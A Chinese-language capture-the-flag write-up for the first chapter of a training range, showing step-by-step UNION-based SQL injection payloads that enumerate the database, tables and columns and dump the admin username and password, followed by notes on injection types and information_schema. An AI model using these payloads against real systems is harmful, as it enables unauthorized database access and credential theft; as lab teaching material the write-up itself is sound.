封神台靶场-第一章:为了女神小芳!【SQL注入攻击原理】

封神台靶场-第一章:为了女神小芳!【SQL注入攻击原理】

    • 前言
    • 判断是否存在SQL注入漏洞
    • 判断SQL语句中一共返回多少列(联合注入)
    • 查看当前数据库名
    • 查看当前数据库的表名
    • 查看admin表中的字段名
    • 利用获得库名、表名、字段名爆出数据
    • Sql注入分类
    • information_schema数据库
    • group_concat函数
    • 其他资源


前言

提示:通过sql注入拿到管理员密码!
尤里正在追女神小芳,在得知小芳开了一家公司后,尤里通过whois查询发现了小芳公司网站,学过一点黑客技术的他,想在女神面前炫炫技。于是他打开了传送门


判断是否存在SQL注入漏洞

注入点测试
?id=1 and 1=1#
页面正常显示

判断SQL语句中一共返回多少列(联合注入)

?id=1 order by 2
order by 2 回显正常:

?id=1 order by 3
Order by 3 回显不正常:说明一共只返回了两列

?id=1 and 1=2 union selsct 1,2
查看显示位
封神台靶场-第一章:为了女神小芳!【SQL注入攻击原理】_第1张图片

查看当前数据库名

?id=1 and 1=2 union select 1,database()

封神台靶场-第一章:为了女神小芳!【SQL注入攻击原理】_第2张图片得到数据库名为maoshe

查看当前数据库的表名

?id=1 and 1=2 union select 1,(select group_concat(table_name,"~") from information_schema.tables where table_schema='maoshe' )
封神台靶场-第一章:为了女神小芳!【SQL注入攻击原理】_第3张图片得到数据库maoshe中存在表admin、dirs、news、xss

查看admin表中的字段名

?id=1 and 1=2 union select 1,(select group_concat(column_name,"~") from information_schema.columns where table_schema='maoshe' and table_name='admin' )
封神台靶场-第一章:为了女神小芳!【SQL注入攻击原理】_第4张图片
得到表admin中存在字段Id、username、password

利用获得库名、表名、字段名爆出数据

?id=1 and 1=2 union select 1,(select group_concat(id,'~',username,'~',password,'~') from maoshe.admin)
得到账号admin,密码hellohack

密码就是flag

Sql注入分类

依据获取信息的方式分类
1.基于布尔的盲注
2.基于时间的盲注
3.基于报错的注入
4.联合查询注入
5.堆查询注入(可同时执行多条语句)

information_schema数据库

tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。show tables from schemaname的结果取之此表。

columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show columns from schemaname.tablename的结果取之此表。

group_concat函数

group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])

其他资源

SQL注入的判断

SQL五大注入手法

SQL注入之联合查询注入

你可能感兴趣的:(渗透测试)